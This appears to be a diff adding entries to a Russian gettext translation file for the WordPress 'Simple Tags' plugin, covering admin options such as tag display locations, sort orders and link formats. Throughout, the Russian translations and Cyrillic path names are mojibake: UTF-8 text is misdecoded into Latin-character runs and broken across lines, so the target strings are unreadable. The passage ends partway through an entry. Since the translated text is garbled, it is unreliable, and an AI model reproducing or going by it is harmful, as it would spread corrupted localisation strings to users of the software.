+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:352
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:356
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:380
+msgid "<code>all</code> &ndash; On your blog and feeds."
+msgstr "<code>all</code> &ndash; ÐÐ° Ð²Ð°ÑÐµÐŒ Ð±Ð»ÐŸÐ³Ðµ Ðž Ð² RSS Ð»ÐµÐœÑÐµ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:329
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:353
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:357
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:381
+msgid "<code>blogonly</code> &ndash; Only on your blog."
+msgstr "<code>blogonly</code> &ndash; Ð¢ÐŸÐ»ÑÐºÐŸ ÐœÐ° Ð²Ð°ÑÐµÐŒ Ð±Ð»ÐŸÐ³Ðµ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:330
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:354
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:358
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:382
+msgid "<code>homeonly</code> &ndash; Only on your home page."
+msgstr "<code>homeonly</code> &ndash; Ð¢ÐŸÐ»ÑÐºÐŸ ÐœÐ° ÐŽÐŸÐŒÐ°ÑÐœÐµÐ¹ ÑÑÑÐ°ÐœÐžÑÐµ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:331
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:355
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:359
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:383
+msgid "<code>singularonly</code> &ndash; Only on your singular view (single & page)."
+msgstr "<code>singularonly</code> &ndash; Ð¢ÐŸÐ»ÑÐºÐŸ Ð² ÐŸÐŽÐžÐœÐŸÑÐœÐŸÐŒ Ð¿ÑÐŸÑÐŒÐŸÑÑÐµ (ÐŸÐŽÐœÐ° Ð·Ð°Ð¿ÐžÑÑ Ðž ÑÑÑÐ°ÐœÐžÑÐ°)."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:332
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:356
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:360
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:384
+msgid "<code>singleonly</code> &ndash; Only on your single view."
+msgstr "<code>singleonly</code> &ndash; Ð¢ÐŸÐ»ÑÐºÐŸ Ð² ÐŸÐŽÐžÐœÐŸÑÐœÐŸÐŒ Ð¿ÑÐŸÑÐŒÐŸÑÑÐµ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:333
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:357
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:361
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:385
+msgid "<code>pageonly</code> &ndash; Only on your page view."
+msgstr "<code>pageonly</code> &ndash; Ð¢ÐŸÐ»ÑÐºÐŸ Ð¿ÑÐž Ð¿ÑÐŸÑÐŒÐŸÑÑÐµ ÑÑÑÐ°ÐœÐžÑÑ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:335
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:363
+msgid "Post tag separator string:"
+msgstr "Ð Ð°Ð·ÐŽÐµÐ»ÐžÑÐµÐ»Ñ Ð² ÑÑÑÐŸÐºÐµ ÐŒÐµÑÐŸÐº Ð·Ð°Ð¿ÐžÑÐž:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:336
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:364
+msgid "Text to display before tags list:"
+msgstr "Ð¢ÐµÐºÑÑ ÐŽÐ»Ñ Ð¿ÐŸÐºÐ°Ð·Ð° ÐŽÐŸ ÑÐ¿ÐžÑÐºÐ° ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:337
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:365
+msgid "Text to display after tags list:"
+msgstr "Ð¢ÐµÐºÑÑ ÐŽÐ»Ñ Ð¿ÐŸÐºÐ°Ð·Ð° Ð¿ÐŸÑÐ»Ðµ ÑÐ¿ÐžÑÐºÐ° ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:338
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:366
+msgid "Max tags display:"
+msgstr "ÐÐ°ÐºÑÐžÐŒÑÐŒ Ð¿ÐŸÐºÐ°Ð·ÑÐ²Ð°ÑÑ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:339
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:367
+msgid "You must set zero (0) for display all tags."
+msgstr "ÐÑ ÐŽÐŸÐ»Ð¶ÐœÑ ÑÑÑÐ°ÐœÐŸÐ²ÐžÑÑ Ð·ÐœÐ°ÑÐµÐœÐžÐµ Ð² ÐœÐŸÐ»Ñ (0) ÑÑÐŸÐ±Ñ Ð¿ÐŸÐºÐ°Ð·Ð°ÑÑ Ð²ÑÐµ ÐŒÐµÑÐºÐž."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:340
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:368
+msgid "Include categories in result ?"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÑÑÐ±ÑÐžÐºÐž Ð² ÑÐµÐ·ÑÐ»ÑÑÐ°Ñ ?"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:341
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:448
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:369
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:476
+msgid "Tag link format:"
+msgstr "Ð€ÐŸÑÐŒÐ°Ñ ÑÑÑÐ»ÐºÐž ÐŒÐµÑÐºÐž:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:342
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:370
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:398
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:416
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:449
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:370
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:398
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:426
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:444
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:477
+msgid "You can find markers and explanations <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">in the online documentation.</a>"
+msgstr "ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ ÐœÐ°Ð¹ÑÐž ÐŒÐ°ÑÐºÐµÑÑ Ðž ÑÐ°Ð·ÑÑÑÐœÐµÐœÐžÑ ÑÑÐœÐºÑÐžÐ¹ ÐœÐ° ÑÑÑÐ°ÐœÐžÑÐ°Ñ
+ ÐŸÐœÐ»Ð°Ð¹Ðœ-ÐŽÐŸÐºÑÐŒÐµÐœÑÐ°ÑÐžÐž: <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ÐŸÑÐžÐ³ÐžÐœÐ°Ð»ÑÐœÐŸÐ¹</a> ÐžÐ»Ðž <a href=\"http://lecactus.ru/2007/10/07/851\">ÑÑÑÑÐºÐŸÐ¹</a> ÑÑÐŸÐ±Ñ Ð»ÑÑÑÐµ ÑÐ°Ð·ÐŸÐ±ÑÐ°ÑÑÑÑ Ð² ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐ°Ñ
+."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:343
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:371
+msgid "Text to display if no tags found:"
+msgstr "Ð¢ÐµÐºÑÑ ÐŽÐ»Ñ Ð¿ÐŸÐºÐ°Ð·Ð°, ÐµÑÐ»Ðž ÐŒÐµÑÐºÐž ÐœÐµ ÐœÐ°Ð¹ÐŽÐµÐœÑ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:344
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:374
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:403
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:461
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:372
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:402
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:431
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:489
+msgid "<strong>Advanced usage</strong>:"
+msgstr "<strong>Ð Ð°ÑÑÐžÑÐµÐœÐœÐŸÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÐœÐžÐµ</strong>:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:345
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:373
+msgid "You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ ÑÐŸÑ Ð¶Ðµ ÑÐžÐœÑÐ°ÐºÑÐžÑ ÐºÐ°Ðº ÐŽÐ»Ñ ÑÑÐœÐºÑÐžÐž <code>st_the_tags()</code> ÐŽÐ»Ñ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ. Ð¡ÐŒÐŸÑÑÐžÑÐµ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ÐŸÑÐžÐ³ÐžÐœÐ°Ð»ÑÐœÑÑ</a> ÐžÐ»Ðž <a href=\"http://lecactus.ru/2007/10/07/851\">ÑÑÑÑÐºÑÑ</a> ÐŽÐŸÐºÑÐŒÐµÐœÑÐ°ÑÐžÑ ÐŽÐ»Ñ Ð±ÐŸÐ»ÑÑÐžÑ
+ ÐŽÐµÑÐ°Ð»ÐµÐ¹."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:348
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:376
+msgid "Automatically display related posts into feeds"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž ÐŽÐŸÐ±Ð°Ð²Ð»ÑÑÑ ÑÐ²ÑÐ·Ð°ÐœÐœÑÐµ Ð·Ð°Ð¿ÐžÑÐž Ð² ÑÐžÐŽÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:349
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:377
+msgid "Automatically display related posts into post content"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž ÐŽÐŸÐ±Ð°Ð²Ð»ÑÑÑ ÑÐ²ÑÐ·Ð°ÐœÐœÑÐµ Ð·Ð°Ð¿ÐžÑÐž Ð² ÑÐŸÐŽÐµÑÐ¶ÐžÐŒÐŸÐµ Ð·Ð°Ð¿ÐžÑÐµÐ¹"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:359
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:387
+msgid "Related Posts Order:"
+msgstr "ÐÐŸÑÑÐŽÐŸÐº ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ Ð·Ð°Ð¿ÐžÑÐµÐ¹:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:361
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:389
+msgid "<code>date-asc</code> &ndash; Older Entries."
+msgstr "<code>date-asc</code> &ndash; Ð¡ÑÐ°ÑÑÐµ Ð·Ð°Ð¿ÐžÑÐž."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:362
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:390
+msgid "<code>date-desc</code> &ndash; Newer Entries."
+msgstr "<code>date-desc</code> &ndash; ÐÐŸÐ²ÑÐµ Ð·Ð°Ð¿ÐžÑÐž."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:363
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:391
+msgid "<code>count-asc</code> &ndash; Least common tags between posts"
+msgstr "<code>count-asc</code> &ndash; ÐÐ°ÐžÐŒÐµÐœÐµÐµ ÐŸÐ±ÑÐžÐµ ÐŒÐµÑÐºÐž ÐŒÐµÐ¶ÐŽÑ Ð·Ð°Ð¿ÐžÑÑÐŒÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:364
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:392
+msgid "<code>count-desc</code> &ndash; Most common tags between posts (default)"
+msgstr "<code>count-desc</code> &ndash; ÐÐ°ÐžÐ±ÐŸÐ»ÐµÐµ ÐŸÐ±ÑÐžÐµ ÐŒÐµÑÐºÐž ÐŒÐµÐ¶ÐŽÑ Ð·Ð°Ð¿ÐžÑÑÐŒÐž (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:365
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:383
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:430
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:438
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:393
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:411
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:458
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:466
+msgid "<code>name-asc</code> &ndash; Alphabetical."
+msgstr "<code>name-asc</code> &ndash; ÐÐ»ÑÐ°Ð²ÐžÑ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:366
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:384
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:431
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:439
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:394
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:412
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:459
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:467
+msgid "<code>name-desc</code> &ndash; Inverse Alphabetical."
+msgstr "<code>name-desc</code> &ndash; ÐÐ»ÑÐ°Ð²ÐžÑ Ð² ÐŸÐ±ÑÐ°ÑÐœÐŸÐŒ Ð¿ÐŸÑÑÐŽÐºÐµl."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:367
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:385
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:432
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:395
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:413
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:460
+msgid "<code>random</code> &ndash; Random."
+msgstr "<code>random</code> &ndash; Ð¡Ð»ÑÑÐ°Ð¹ÐœÐŸ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:369
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:397
+msgid "Post link format:"
+msgstr "Ð€ÐŸÑÐŒÐ°Ñ ÑÑÑÐ»ÐºÐž Ð·Ð°Ð¿ÐžÑÐž:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:371
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:399
+msgid "Maximum number of related posts to display: (default: 5)"
+msgstr "ÐÐ°ÐºÑÐžÐŒÐ°Ð»ÑÐœÐŸÐµ ÑÐžÑÐ»ÐŸ ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ Ð·Ð°Ð¿ÐžÑÐµÐ¹ ÐŽÐ»Ñ ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ: (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ: 5)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:372
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:400
